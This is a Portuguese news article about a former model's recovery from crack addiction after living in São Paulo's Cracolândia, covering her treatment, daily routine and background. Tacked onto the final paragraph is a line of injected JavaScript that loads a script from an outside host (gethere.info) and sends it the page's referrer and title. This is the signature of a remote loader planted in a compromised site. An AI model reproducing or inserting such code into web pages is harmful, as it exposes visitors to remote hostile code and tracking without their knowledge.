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Modelo mato-grossense viciada em crack volta a ser destaque

Modelo Mato GrossenseVEJA

A ex-modelo, que viveu por mais de dois anos nas ruas da Cracolândia e ficou conhecida depois de uma reportagem de VEJA SÃO PAULO, frequenta o local há dois meses. Trata-se de uma das últimas etapas de sua luta pela recuperação, processo que, até aqui, vem sendo bem-sucedido.
Ela acorda por volta das 8h30 e toma uma dose de fluoxetina, medicação indicada para estabilizar o humor (além desse remédio, usa à noite o antidepressivo Donaren, receitado por um psiquiatra). Sua primeira tarefa do dia consiste em arrumar a suíte de 20 metros quadrados que divide com Candice Priscila Dugaich, 34,sua acompanhante terapêutica e também ex-usuária de drogas que perambulou pela Cracolândia bem mais tempo que acompanheira de quarto (doze anos, no total).
Na sequência, as duas seguem juntas para a academia do lugar para fazer sessões de aeróbica e musculação. “Cheguei a pesar 89 quilos porque substituía o vício do crack pela comida, mas já perdi 4”, comemora Loemy, que tem 1,79 metro de altura. “Quero emagrecer ainda outros 10.” Uma vez por semana, ela também é designada para fazer o almoço para outros cinco dependentes em recuperação na casa, além de lavar roupa.
Dias depois que sua história veio a público, em novembro de 2014, a ex-modelo aceitou o convite do programa Hora do Faro, da Record, que se ofereceu para pagar seu tratamento e acompanhar o processo de recuperação.
Vinda do interior de Mato Grosso, Loemy desembarcou em São Paulo em 2012 para tentar a carreira de manequim. Sem conseguir trabalho por aqui, viciou-se em drogas, perdeu tudo e foi parar nas ruas do centro. “O abuso que ela sofreu do padrasto quando criança foi o fator preponderante no uso das drogas”, entende a psicóloga Joana d’Arc Salgado, uma das profissionais que cuidam do caso.
O processo de reabilitação vem sendo realizado em etapas. A primeira delas envolveu uma internação de oito meses em duas clínicas: a Aliança Terapêutica, em Sorocaba, e a Grand House, em Mairiporã.
A ex-modelo progrediu no tratamento e foi transferida para a moradia assistida Vale Verde, em Atibaia, onde passou a ter mais liberdade (ganhou o direito a saídas para locais próximos, como a igreja).s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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